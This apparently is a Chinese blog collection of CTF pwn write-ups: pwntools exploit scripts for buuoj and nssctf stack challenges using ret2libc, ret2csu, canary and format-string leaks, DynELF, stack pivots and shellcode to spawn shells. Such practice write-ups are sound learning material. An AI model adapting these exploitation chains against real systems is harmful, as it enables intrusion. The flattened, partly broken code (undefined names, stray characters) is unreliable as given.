本文最后更新于:6 个月前
栈 64位 ciscn_2019_s_3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from pwn import * p =remote('node4.buuoj.cn' ,27440 ) elf = ELF('./ciscn_s_3' ) context.log_level = 'debug' main_addr = elf.symbols['main' ] csu_end = 0x040059A csu_front = 0x0400580 ret_addr = 0x004003a9 rax_59_ret = 0x04004E2 syscall = 0x0400517 payload = b'/bin/sh\x00' + b'A' *0x8 + p64(main_addr) p.sendline(payload) p.recv(0x20 ) stack_addr = u64(p.recv(8 ))print ('stack_addr-->' + hex (stack_addr)) binsh_addr = stack_addr - 0x138 rax_59 = binsh_addr + 0x10 pop_rdi = 0x04005a3 payload = b'/bin/sh\x00' + b'A' *0x8 + p64(rax_59_ret) + p64(csu_end) payload += p64(0 ) + p64(1 ) + p64(rax_59) + p64(0 ) + p64(0 ) + p64(0 ) payload += p64(csu_front) payload += b'a' *0x38 payload += p64(pop_rdi) payload += p64(binsh_addr) payload += p64(syscall) p.sendline(payload) p.interactive()''' 调用execve需要 $rax==59 $rdi==“/bin/sh” $rsi==0 $rdx==0 syscall def ret_csu(r12, r13, r14, r15, last): payload = offset * 'a' #构造栈溢出的padding payload += p64(first_csu) + 'a' * 8 #gadgets1的地址 payload += p64(0) + p64(1) #rbx=0, rbp=1 payload += p64(r12) #call调用的地址 payload += p64(r13) + p64(r14) + p64(r15) #三个参数的寄存器 payload += p64(second_csu) #gadgets2的地址 payload += 'a' * 56 #pop出的padding payload += p64(last) #函数最后的返回地址 return payload
ret2csu
ciscn_2019_en_2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *from LibcSearcher import * context(os='linux' , arch='amd64' , log_level='debug' ) ret = 0x4006b9 elf = ELF('pwn1' ) puts_plt = elf.plt["puts" ] puts_got = elf.got['puts' ] main_addr = elf.symbols["main" ] pop_rdi_ret = 0x400c83 p = remote('node4.buuoj.cn' ,25016 ) payload = b'a' * (0x50 + 8 ) payload = payload + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) print (payload) p.sendlineafter('Input your choice!\n' , '1' ) p.sendlineafter('Input your Plaintext to be encrypted\n' , payload) p.recvuntil('Ciphertext\n' ) p.recvline() puts_addr = u64(p.recv(7 )[:-1 ].ljust(8 ,b'\x00' ))print (puts_addr) libc = LibcSearcher('puts' , puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) binsh_addr = libc_base + libc.dump('str_bin_sh' ) payload = b'a' * (0x50 + 8 ) payload = payload + p64(ret) + p64(pop_rdi_ret) + p64(binsh_addr) + p64(system_addr) p.sendlineafter('Input your choice!\n' , '1' ) p.sendlineafter('Input your Plaintext to be encrypted\n' , payload) p.interactive()
bjdctf_2020_babyrop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 from pwn import *from LibcSearcher import * context.log_level='debug' r=remote('node4.buuoj.cn' ,28646 ) elf=ELF('./pwn6' ) main_addr=elf.sym['main' ] puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] pop_ret=0x400733 payload1=b'a' *0x28 +p64(pop_ret)+p64(puts_got)+p64(puts_plt)+p64(main_addr) 这里需要注意一下payload64位先往寄存器中传参顺序要注意!!! r.recvuntil("Pull up your sword and tell me u story!" ) r.sendline(payload1) r.recv() puts_addr=u64(r.recv(6 ).ljust(8 ,b'\x00' )) libc=LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) system = libc_base+libc.dump('system' ) bins = libc_base+libc.dump('str_bin_sh' ) payload2=b'A' *0x28 +p64(pop_ret)+p64(bins)+p64(system) r.recvuntil("Pull up your sword and tell me u story!" ) r.sendline(payload2) r.interactive()
[HarekazeCTF2019]baby_rop2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 from pwn import * r = remote('node4.buuoj.cn' ,25683 ) r = process("../buu/[HarekazeCTF2019]baby_rop2" ) elf = ELF('babyrop2' ) libc = ELF("libc.so.6" ) rdi_addr = 0x400733 rsi_r15_addr = 0x400731 main_addr = elf.symbols['main' ] printf_plt=elf.plt['printf' ] read_got=elf.got['read' ] format_str = 0x400770 payload=b'M' *(0x20 +8 ) + p64(rdi_addr) + p64(format_str) + p64(rsi_r15_addr) + p64(read_got) + p64(0 ) + p64(printf_plt) + p64(main_addr) r.recv() r.sendline(payload) read_addr = u64(r.recvuntil(b'\x7f' )[-6 :].ljust(8 ,b'\x00' ))print ("read_addr: " + hex (read_addr)) base_addr = read_addr - libc.symbols['read' ] system_addr = base_addr + libc.symbols['system' ] bin_sh_addr = base_addr + next (libc.search(b'/bin/sh' ))print ("system_addr: " + (hex (system_addr)))print ("bin_sh_addr: " + (hex (bin_sh_addr))) payload=b'M' *(0x20 +8 ) + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr) r.recv() r.sendline(payload) r.interactive()
[2021 鹤城杯]littleof checksec一下
发现有canary保护
ida查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 unsigned __int64 sub_4006E2 () { char buf[8 ]; FILE *v2; unsigned __int64 v3; v3 = __readfsqword(0x28 u); v2 = stdin ; puts ("Do you know how to do buffer overflow?" ); read(0 , buf, 0x100 uLL); printf ("%s. Try harder!" , buf); read(0 , buf, 0x100 uLL); puts ("I hope you win" ); return __readfsqword(0x28 u) ^ v3; }
很显然栈溢出漏洞位于read函数中,buf大小为0x50,而read函数的第三参数,也就是输出/写入/输出 的最大的字节长度为0x100,就是2个buf大小的数据。但是本题开启了Canary,因此我们不能直接进行栈溢出以及Ret2Libc攻击。我们可以发现,我们输入的Payload会被第二段的printf打印出来。也就是说可以利用这个printf打印出来Canary,将Canary原封不动的归位,即可跳过检测。
canary
Canary是位于EBP之前的一串随机数据,用来防止栈上的内容溢出进行某些危险攻击的。我们都知道Canary 会在栈上添加一个随机值,以保护程序免受缓冲区溢出攻击,但是也会在栈上多占用一些空间。
也就是说:
假如我的 buf 大小为 0x50
如果是 64 位程序,那么 Canary 就会在栈上额外占用 0x08 的空间作为随机值。
也就是说 我的可用空间只有 0x42 。
开启 Canary : RBP 位于 0x50 + 0x08,Canary位于0x50 - 0x08,Return Address位于0x50 + 0x16
而 0x50 + 0x08 在不开启 Canary 的情况下是 Return Address 的地址
关闭 Canary : RBP 位于 0x50,Return Address位于0x50 + 0x08
这时候的 0x50 + 0x08 是 Return Address 的地址。
具体思路如下:
因为Canary是栈中的一个随机值,我们通过printf泄露Canary,然后将其填充至它本来应该在的位置,就能通过检查。
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import *from LibcSearcher import * io = remote() elf = ELF("littleof" ) context(log_level = 'debug' ,arch = 'amd64' ,os = 'linux' ) rdi = 0x400863 ret = 0x40059E puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] main = 0x400789 Padding = b'A' * ( 0x50 - 0x08 ) Padding_Ret = b'A' * 0x08 io.recvuntil(b'overflow?' ) Payload_Canary = Padding io.sendline(Payload_Canary) io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' ) Canary = u64(io.recv(7 ).rjust(8 , b'\x00' )) log.success("Canary: " + (hex (Canary))) 发送了0x49 个字节,总共0x50 个字节,程序会把Canary放在变量起始位置,所以只需要接收7 个,然后用一个0 填充即可。 Payload_Leak = Padding + p64(Canary) + Padding_Ret + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main) io.sendlineafter(b'Try harder!' ,Payload_Leak) addr = u64(io.recvuntil(b"\x7f" )[-6 :].ljust(8 ,b'\x00' )) log.success("Real Address: " + (hex (addr))) base = addr - 0x080aa0 system = base + 0x04f550 binsh = base + 0x1b3e1a io.recvuntil(b'overflow?' ) Payload_Canary = Padding io.sendline(Payload_Canary) io.recvuntil(b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n' ) Canary = u64(io.recv(7 ).rjust(8 , b'\x00' )) log.success("Canary: " + (hex (Canary))) Payload_Shell = Padding + p64(Canary) + Padding_Ret + p64(ret) + p64(rdi) + p64(binsh) + p64(system) io.sendlineafter(b'Try harder!' ,Payload_Shell) io.interactive()
Padding就是上文泄露Canary的Payload
Canary就是Canary的数据
Padding_Ret 代表覆盖原先栈上的 RBP
Ret 用来平衡栈帧
Rdi 用来存放 system 的第一个函数,也就是 /bin/sh 字符串的地址的。
jarvisoj_level3_x64 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from pwn import *from LibcSearcher import * elf=ELF("./level3_x64" ) p=remote('node4.buuoj.cn' ,28307 ) write_plt=elf.plt['write' ] write_got=elf.got['write' ] main_addr=elf.symbols['main' ] rdi=0x4006b3 rsi=0x4006b1 payload=b'a' *(0x80 +8 )+p64(rdi)+p64(1 )+p64(rsi)+p64(write_got)+b'deadbeef' +p64(write_plt)+p64(main_addr) p.sendline(payload) write_addr = u64(p.recvuntil('\x7f' )[-6 :].ljust(8 , b'\x00' )) libc=LibcSearcher('write' ,write_addr) libc_base=write_addr-libc.dump('write' ) system=libc_base+libc.dump('system' ) binsh=libc_base+libc.dump('str_bin_sh' )print (hex (write_addr))print (hex (libc_base))print (hex (system))print (hex (binsh)) payload1=b'a' *(0x80 +8 )+p64(rdi)+p64(binsh)+p64(system) p.sendline(payload1) p.interactive()
[watevrCTF 2019]Voting Machine 1 1 2 3 4 5 6 7 8 from pwn import * p=remote('1.14.71.254' ,28014 ) back_door=0x400807 payload=b'a' *10 +p64(back_door) p.sendlineafter('Vote:' ,payload) flag=p.recvall()print (flag) p.close()
[CISCN 2019东北]PWN2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import *from LibcSearcher import * context(log_level='debug' ,os='linux' ,arch='amd64' ) p=remote('1.14.71.254' ,28109 ) elf=ELF('./pwn6' ) p.recvuntil(b'choice!' ) p.sendline(b'1' ) puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] ret=0x00000000004006b9 pop_rdi=0x0000000000400c83 main=elf.symbols['main' ] payload=b'\x00' payload+=b'a' *0x57 payload+=p64(pop_rdi) payload+=p64(puts_got) payload+=p64(puts_plt) payload+=p64(main) p.recvuntil('be encrypted' ) p.sendline(payload) puts_addr=u64(p.recvuntil('\x7f' )[-6 :].ljust(8 ,b'\x00' ))print (hex (puts_addr)) libc=LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) system = libc_base+libc.dump('system' ) bins = libc_base+libc.dump('str_bin_sh' ) p.recvuntil(b'choice!' ) p.sendline(str (1 )) p.recvuntil('be encrypted' ) payload=b'\x00' +b'a' *0x57 +p64(ret)+p64(pop_rdi)+p64(bins)+p64(system)+p64(ret) p.sendline(payload) p.interactive()
[深育杯 2021]find_flag 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 from pwn import * elf = ELF("find_flag" ) p = remote('1.14.71.254' ,28257 ) p.recvuntil(b"name?" ) p.sendline(b"aa%12$p %17$p" ) p.recvuntil(b"aa" ) addr,can = str (p.recv(33 )).split()print (addr,can) can = int (can[0 :-1 ],16 ) elf_base = int (addr[2 :],16 )-0x215c success("elf_base:" +hex (elf_base)) flag_addr = elf_base + 0x1228 success("canary:" +hex (can)) p.recvuntil(b"? " ) payload = b'a' *(0x40 -8 ) + p64(can) + b'aaaaaaaa' +p64(flag_addr) p.sendline(payload) p.interactive()
[2021 鹤城杯]easyecho https://blog.csdn.net/woodwhale/article/details/120680661
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import context.log_level="debug" p=remote('node4.anna.nssctf.cn' ,28947 ) p.sendlineafter("Name:" ,b"b" *15 +b"a" ) p.recvuntil("a" ) addr = u64(p.recv(6 ).ljust(8 , b'\x00' )) - 0xcf0 print ("addr" ,addr)]() flag_addr =addr + 0x202040 print ("flag_addr" ,flag_addr) payload = b'a' *0x168 + p64(flag_addr) p.sendlineafter("Input:" ,"backdoor" ) pause() p.sendlineafter('Input: ' ,payload) p.sendlineafter('Input: ' ,'exitexit' ) p.interactive()、
[NISACTF 2022]ezpie 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 PIE保护机制只随机初始基地址,函数之间的偏移不会变from pwn import * p=remote('1.14.71.254' ,28123 ) elf=ELF('pwn' ) 计算偏移量 main_addr=elf.symbols['main' ] shell_addr=elf.symbols['shell' ] offest=shell_addr-main_addr log.info('offest is :%x' %offest) 根据泄露的main函数地址计算shell函数地址 p.recvuntil(b'gift!\n0x' ) p_main_addr=int (p.recv(8 ).decode(),16 ) p_shell_addr=p_main_addr+offest 获得shell payload=flat('a' *40 ,'b' *4 ,p_shell_addr) p.sendlineafter('Input:\n' ,payload) p.interactive()
[GFCTF 2021]where_is_shell 1 2 3 4 5 6 7 8 9 10 from pwn import * elf = ELF('./shell' ) p = remote('1.14.71.254' ,28720 ) ret_addr = 0x400416 pop_rdi_ret = 0x4005e3 tips = 0x400541 system_addr = elf.symbols['system' ] payload = b'b' *0x10 +b'b' *8 +p64(ret_addr)+p64(pop_rdi_ret)+p64(tips)+p64(system_addr) p.sendlineafter('find it?\n' ,payload) p.interactive()
bjdctf_2020_babyrop2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 from pwn import *from LibcSearcher import * context.log_level='debug' r=remote('node4.buuoj.cn' ,26813 ) elf=ELF('./bjdctf_2020_babyrop2' ) pop_rdi=0x0000000000400993 puts_got=elf.got['puts' ] puts_plt=elf.plt['puts' ] vuln_addr=elf.symbols['vuln' ] r.recvuntil("I'll give u some gift to help u!" ) r.sendline(b'%7$p' ) r.recvuntil(b'0x' ) canary=int (r.recv(16 ),16 )print ('[+]canary: ' ,hex (canary)) payload=b'a' *(0x20 -0x8 )+p64(canary)+b'b' *0x8 payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(vuln_addr) r.recvuntil('Pull up your sword and tell me u story!' ) r.sendline(payload) r.recv() puts_addr=u64(r.recv(6 ).ljust(8 ,b'\x00' )) libc=LibcSearcher('puts' ,puts_addr) libc_base=puts_addr-libc.dump('puts' ) system_addr=libc_base+libc.dump('system' ) bin_addr=libc_base+libc.dump('str_bin_sh' ) r.recvuntil('Pull up your sword and tell me u story!' ) payload=b'a' *(0x20 -0x8 )+p64(canary)+b'b' *0x8 payload+=p64(pop_rdi)+p64(bin_addr)+p64(system_addr) r.sendline(payload) r.interactive()
pwnable_orw 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 沙盒from pwn import * r = remote('node4.buuoj.cn' ,27085 ) context.log_level = 'debug' shellcode = shellcraft.open ('flag' ) shellcode += shellcraft.read('eax' ,'esp' ,42 ) shellcode += shellcraft.write(1 ,'esp' ,42 ) payload = asm(shellcode) r.sendlineafter("shellcode:" ,payload) r.interactive() ''' 打开flag文件,sys_open(file,0,0);系统调用号为5 push 0x0 #字符串结尾 push 0x67616c66 #'flags' mov ebx,esp xor ecx,ecx #0 xor edx,edx #0 mov eax,0x5 #调用号 int 0x80 #sys_open(flags,0,0) 读flag文件,sys_read(3,file,0x100);系统调用号为3 mov eax,0x3; mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag” mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件 mov edx,0x100; #对应字节数 int 0x80; 输出flag文件内容,sys_write(1,file,0x30);系统调用号为4 mov eax,0x4; # eax = sys_write mov ebx,0x1; # ebx = unsigned int fd = 1 int 0x80; '''
32位 get_started_3dsctf_2016 checksec
1 2 3 4 5 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 int __cdecl main (int argc, const char **argv, const char **envp) { char v4[56 ]; printf ("Qual a palavrinha magica? " , v4[0 ]); gets (v4); return 0 ; }void __cdecl get_flag (int a1, int a2) { int v2; unsigned __int8 v3; int v4; unsigned __int8 v5; if ( a1 == 0x308CD64F && a2 == 425138641 ) { v2 = fopen ("flag.txt" , "rt" ); v3 = getc (v2); if ( v3 != 255 ) { v4 = (char )v3; do { putchar (v4); v5 = getc (v2); v4 = (char )v5; } while ( v5 != 255 ); } fclose (v2); } }
get_flag()有两个参数,a1和a2。这里我已经将a1和a2转换成了十六进制。if对a1和a2进行了一个判断,符合条件后进行对flag的读取。具体读取过程为:首先v2对flag.txt文件进行一个读取,v3用getc()来接收v2读取的值(getc():从指定的流stream获取下一个字符(一个无符号字符),并把位置标识符往前移动)。在v3不为255时,将值传给v4,用中间变量v5来读取v2的值,并且在v5不为255时,将v5的值赋给v4并输出v4,最终输出的结果就是flag
但是我们发现通过main()的stackoverflow单纯的跳到get_flag()这个函数是无法拿到flag的,这里是因为我们在stackoverflow时覆盖了a1和a2,破坏了输出flag的条件,从而无法得到flag。我们试想,如果我们在stackoverflow时保护了栈结构,使程序达到输出flag的条件,正常退出,是否就可以拿到flag?
于是我们需要exit()
的地址,以及满足条件的a1和a2的值,即0x308CD64F
和0x195719D1
exp
1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context(os = "linux" , arch = "i386" , log_level = "debug" ) elf = ELF('./pwn1' ) io = remote('node4.buuoj.cn' ,27026 ) ret = 0x08048196 exits = elf.sym['exit' ] success("got exit addr : %s" % hex (exits)) payload = b"a" * 0x38 + p32(0x080489A0 ) + p32(exits) + p32(0x308CD64F )+ p32(0x195719D1 ) io.recvuntil("Qual a palavrinha magica? " , timeout = 0.5 ) io.sendline(payload) io.recvline() io.interactive()
[OGeek2019]babyrop 先checksec一下,nx排除了shellcode的可能,Full RELEO为地址随机化
先观察主函数,设定了一个闹钟(但是这道题不需要使用解除闹钟的方法)
主函数的思路是生成一个随机数,把这个随机数作为参数传进sub——804871F()函数中,然后再将函数返回结果作为参数传进sub——80487D0()里,sub_80486bb()是初始化,没什么用。fd=open(“/dev/urandom”,0);if(fd>0) read(fd,&buf,4u) :获取一个随机数给到buf
sub_804871f()
sprintf函数将生成的随机数加到s[32]的数组中,这里题目有read函数,但是没有栈溢出的可能,读入buf之后,读取buf的长度,然后比较buf和s字符串的大小(比较长度为前v1个字符)。此时如果strncmp()的结果不为0,则直接退出程序。因此我们第一个目的:使strncmp结果为0
sub_80487d0()
这个函数将buf[7]作为参数出传进来,将它的ASCII码比对,看到全程序中唯一一个存在栈溢出漏洞可能性的地方。但是必须满足a1的ASCII码值能达到栈溢出的大小。第二个目的:使a1的ASCII码值(sub_804871F()函数里的buf[7]的ASCII码值尽量大)
思路
使用ROP链寻找libc解题
首先让strncmp结果为零,当buf与s数组完全相同时,strncmp结果会为0,但是s为系统生成的随机数,而buf是我们输入的数据,两者显然不可能相等。另一种办法就是使v1等于0,这样strncmp的结果仍为0。 而v1是strlen函数读取buf的长度大小,使他为0就很简单了,标准的长度检测绕过,让buf数组的第一位为‘\x00’ 即可。此时程序不会退出
然后让buf[7]的值尽可能大,要实现栈溢出,buf[7]元素的ASCII码值必须大于两百四十多才行,所以要使用转义字符的ASCii码,’'为转义字符,而’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 from pwn import * io = process("./pwn" ) io = remote('node4.buuoj.cn' ,25352 ) elf = ELF("./pwn" ) libc = ELF("libc-2.23.so" ) context(log_level="debug" ,arch="i386" ) write_plt = elf.plt["write" ]'''选择用write函数泄露libc地址''' read_got = elf.got["read" ] main_func = 0x08048825 payload1 = b"\x00" 长度检测绕过+ b"\xff" *7 让buf[7 ]的值尽可能大,\为转义字符,而’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255 的符号。 io.sendline(payload1) io.recvline() payload2 = flat([b"a" *0xE7 ,b"b" *4 ,write_plt,main_func,1 ,read_got,0x8 ]) io.sendline(payload2) read_addr = u32(io.recv(4 ))print (read_addr) libcbase = read_addr - libc.symbols["read" ] system_addr = libcbase + libc.symbols["system" ] binsh = libcbase + next (libc.search(b"/bin/sh" ))print (binsh) payload3 = flat([b"a" *0xe7 ,b"b" *4 ,system_addr,0 ,binsh]) io.sendline(payload1) io.recvline() io.sendline(payload3) io.interactive()
not_the_same_3dsctf_2016 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import * elf = ELF("./not_the_same_3dsctf_2016" ) io = remote("node4.buuoj.cn" ,28787 ) io = process("./not_the_same_3dsctf_2016" ) backdoor_addr = 0x080489A0 str_flag_addr = 0x080ECA2D printf_addr = 0x0804F0A0 write_addr = elf.symbols['write' ] exit_addr = elf.symbols['exit' ]print (hex (write_addr)) 这个main函数没有push ebp 所以不用再覆盖4 字节的ebp payload = 0x2D * b'a' + p32(backdoor_addr) + p32(write_addr) + p32(exit_addr) + p32(1 ) + p32(str_flag_addr) + p32(45 ) payload += p32(1 ) payload += p32(flagaddr) payload += p32(42 ) io.sendline(payload) io.interactive() io.close()
铁人三项(第五赛区)_2018_rop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 from pwn import * from LibcSearcher import * context(os = 'linux' ,arch = 'i386' ,log_level = 'debug' ) elf = ELF('./2018_rop' ) p = remote('node4.buuoj.cn' ,25020 ) main_addr = elf.sym['main' ] plt_write_addr = elf.plt['write' ] got_write_addr = elf.got['write' ] payload = b'a' *(0x88 +0x4 ) + p32(plt_write_addr) + p32(main_addr) + p32(1 ) + p32(got_write_addr) + p32(4 ) p.sendline(payload) write_addr = u32(p.recv(4 ))print (hex (write_addr)) lib = LibcSearcher('write' ,write_addr) lib_write_addr = lib.dump('write' ) lib_system_addr = lib.dump('system' ) lib_bin_addr = lib.dump('str_bin_sh' ) base_addr = write_addr - lib_write_addr system_addr = base_addr + lib_system_addr bin_addr = base_addr + lib_bin_addr payload = b'a' *(0x88 +0x4 ) + p32(system_addr) + b'aaaa' + p32(bin_addr) p.sendline(payload) p.interactive()
ciscn_2019_es_2 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * context(os="linux" ,arch="i386" ,log_level="debug" ) elf=ELF('pwn8' ) p=remote('node4.buuoj.cn' ,29794 ) sys_addr=0x08048400 leave_addr=0x8048562 payload1=b'a' *0x27 p.sendlineafter('name?\n' ,payload1) p.recvuntil('\n' ) ebp=u32(p.recv(4 )) payload2=b'a' *4 +p32(sys_addr)+p32(0 )+p32(ebp-0x28 )+b'/bin/sh' payload2=payload2.ljust(0x28 ,b'\0' ) payload2+=p32(ebp-0x38 )看当时的ebp+p32(leave_addr) p.sendline(payload2) p.interactive()
pwn2_sctf_2016 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 整数溢出问题from pwn import *from LibcSearcher import * p=remote('node4.buuoj.cn' ,29476 ) elf=ELF('./pwn9' ) printf_plt=elf.plt['printf' ] printf_got=elf.got['printf' ] vuln=0x0804852f main=0x080485b8 p.recvuntil('read?' ) p.sendline(str (-1 )) p.recvuntil('data!\n' ) payload=b'a' *0x30 +p32(printf_plt)+p32(vuln)+p32(printf_got) p.sendline(payload) p.recvuntil('\n' ) printf_add=u32(p.recv(4 ))print (hex (printf_add)) libc=LibcSearcher('printf' ,printf_add) libc_base=printf_add-libc.dump('printf' ) system=libc_base+libc.dump('system' ) binsh=libc_base+libc.dump('str_bin_sh' ) p.recvuntil('read?' ) p.sendline(str (-1 )) p.recvuntil('data!\n' ) payload=b'a' *0x30 +p32(system)+p32(main)+p32(binsh) p.sendline(payload) p.interactive()
jarvisoj_level3 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 32 位ret2libcfrom pwn import *from LibcSearcher import * context.log_level = 'debug' conn = remote('node4.buuoj.cn' ,25837 ) elf = ELF('./level3' ) write_plt = elf.plt['write' ] write_got = elf.got['write' ] main_addr = 0x0804844B payload = b'a' *0x88 + b'b' *4 + p32(write_plt) + p32(main_addr) + p32(1 ) + p32(write_got) + p32(4 ) conn.sendlineafter("Input:\n" ,payload) write_addr = u32(conn.recv(4 ))print (hex (write_addr)) libc = LibcSearcher('write' ,write_addr) libc_base = write_addr - libc.dump('write' ) system_addr = libc_base + libc.dump('system' ) bin_sh = libc_base + libc.dump('str_bin_sh' ) payload = b'a' *0x88 + b'b' *4 + p32(system_addr) + p32(main_addr) + p32(bin_sh) conn.sendlineafter("Input:\n" ,payload) conn.interactive()
jarvisoj_level4 学到一个新方法
当题目未提供libc.so的时候,可以使用DynELF寻找我们需要函数的地址,DynELF是通过它有的各种libc.so去爆破该ELF的libc.so。所以需要一个leak函数支持多次的write函数之类的功能,leak的参数addr 是我们需要用write写出数据的地址函数内写/接受 4字节8字节都行 返回不需要u32(data) 直接返回data。DynELF(leak,elf=elf) 第一个参数就是leak函数 第二个参数是你的程序elf,之后使用lookup(“function_name”,”libc”) function_name就是需要查询的函数真实地址 返回为int,还有一点就是 leak里面返回main有时候行不通 估计是堆栈的原因所以返回start 把所有东西全清空改题构造leak之后 找到system地址通过read 把”/bin/sh”读到data段 (一般是bss段,不过这里bss段太短了装不下,所以找可执行的data段)注意read的使用要严格控制字符数 也就是第三个参数最开始这里使用了io.sendline(“/bin/sh\x00”)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 from pwn import * io=remote('node4.buuoj.cn' ,28208 ) elf=ELF('./level4' ) start_addr=0x08048350 write_plt=0x08048340 read_plt=0x08048310 def leak (addr ): payload=b'a' *(0x88 +4 )+p32(write_plt)+p32(start_addr) payload+=p32(1 )+p32(addr)+p32(8 ) io.sendline(payload) leaked=io.recv(8 ) return leaked d=DynELF(leak,elf=elf) system_addr=d.lookup('system' ,'libc' )print ("system_addr:" +hex (system_addr)) data_addr=0x0804A01C payload=b'a' *(0x88 +4 )+p32(read_plt)+p32(start_addr) payload+=p32(0 )+p32(data_addr)+p32(8 ) io.sendline(payload) io.send("/bin/sh\x00" ) payload=b'a' *(0x88 +4 )+p32(system_addr)+p32(start_addr) payload+=p32(data_addr) io.sendline(payload) io.interactive()
泄露还可以用LibcSearcher 只要得到一个函数的真实地址,就可以dump出libc地址然后类似于给出了libc一样计算base_addr 继而计算其他函数的真实地址两种方法都可能得到错误的libc.so ,这道题,我用LibcSearcher就打不通
ez_pz_hackover_2016 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 ''' 调试脚本 from pwn import * context(log_level = 'debug',os='linux',arch='i386') p = process('./ez') gdb.attach(p) p.recvuntil('crash: ') stack_addr = int(p.recv(10), 16) payload = b'crashme\x00' + b'a'*18 payload += p32(0) + asm(shellcraft.sh()) p.recvuntil('> ') p.sendline(payload) pause() p.interactive() '''
1 2 3 4 5 6 7 8 9 10 11 12 13 from pwn import * context.log_level = 'debug' p=remote('node4.buuoj.cn' ,25049 ) shellcode = asm(shellcraft.sh()) p.recvuntil('lets crash: ' ) stack_addr = int (p.recv(10 ),16 ) shellcode_addr = stack_addr-28 payload = b'crashme\x00' .ljust(26 ,b"\x00" ) payload += p32(shellcode_addr)+shellcode p.recvuntil('>' ) p.sendline(payload) p.interactive()
picoctf_2018_rop chain 1 2 3 4 5 6 7 8 9 10 11 12 from pwn import * context(os='linux' ,arch='i386' ,log_level='debug' ) p=remote('node4.buuoj.cn' ,27550 ) elf=ELF('./rop_chain' ) flag_addr=elf.symbols['flag' ] win1_addr=elf.symbols['win_function1' ] win2_addr=elf.symbols['win_function2' ] win2_a1=0xBAAAAAAD flag_a1=0xDEADBAAD payload=b'a' *(0x18 +4 )+p32(win1_addr)+p32(win2_addr)+p32(flag_addr)+p32(win2_a1)+p32(flag_a1) p.sendline(payload) p.interactive()
[HUBUCTF 2022 新生赛]fmt 这道题实现了BROP的思想,利用格式化字符串漏洞泄露目标程序的栈中的信息,并通过多次利用格式化字符串漏洞,逐步获取flag。遇到的很少所以记录一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 from pwn import * p=remote('node2.anna.nssctf.cn' ,28231 ) elf=ELF('./fmt' )def get_flag (k ): p.sendlineafter(b'service' ,k) p.recvuntil(b'0x' ) a=p.recvline()[:-1 ][::-1 ] f='' for i in range (0 ,len (a),2 ): f+=chr (int (a[i:i+2 ][::-1 ],16 )) return f flag='' for i in range (12 ,20 ): flag+=get_flag(b'%' +str (i).encode()+b'$p' )print ('flag=' +flag)
